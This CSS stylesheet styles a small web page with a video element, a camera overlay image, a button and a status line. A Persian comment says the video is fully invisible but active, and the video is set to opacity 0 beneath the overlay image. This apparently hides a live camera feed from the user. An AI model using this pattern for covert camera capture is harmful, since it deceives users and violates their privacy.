body {
  margin: 0;
  font-family: sans-serif;
  background: #111827;
  color: #eee;
  display: flex;
  justify-content: center;
  align-items: center;
  min-height: 100vh;
}

.container {
  width: 90%;
  max-width: 420px;
  background: #1f2937;
  padding: 20px;
  border-radius: 15px;
  text-align: center;
}

.video-wrapper {
  margin-top: 20px;
  position: relative;
  width: 100%;
  background: black;
  border-radius: 12px;
  overflow: hidden;
}

/* ویدیو کاملاً نامرئی ولی فعال */
video {
  width: 100%;
  opacity: 0;  /* ← کاملا مخفی */
}

.camera-overlay {
  position: absolute;
  inset: 0;
  display: flex;
  align-items: center;
  justify-content: center;
  pointer-events: none;
}

.camera-overlay img {
  width: 100%;
  height: auto;
}

button {
  margin-top: 15px;
  padding: 10px 20px;
  border: none;
  background: #10b981;
  color: #111;
  font-size: 1.1rem;
  border-radius: 10px;
  cursor: pointer;
}

#status {
  margin-top: 10px;
  font-size: .9rem;
}